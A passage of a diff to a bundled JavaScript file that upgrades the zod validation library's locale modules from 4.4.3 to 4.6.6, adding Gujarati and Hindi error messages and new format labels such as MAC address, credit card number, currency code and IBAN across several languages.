\u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61086,6 +62508,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61099,13 +62523,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61223,12 +62652,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61259,12 +62800,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61346,17 +62891,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61382,12 +62928,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61455,11 +63005,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61470,7 +63020,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61499,6 +63049,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61525,12 +63082,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61603,17 +63164,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61639,12 +63201,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61710,17 +63276,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61746,12 +63313,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61820,17 +63391,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61856,12 +63428,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61929,17 +63505,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61965,12 +63542,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62037,17 +63618,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: 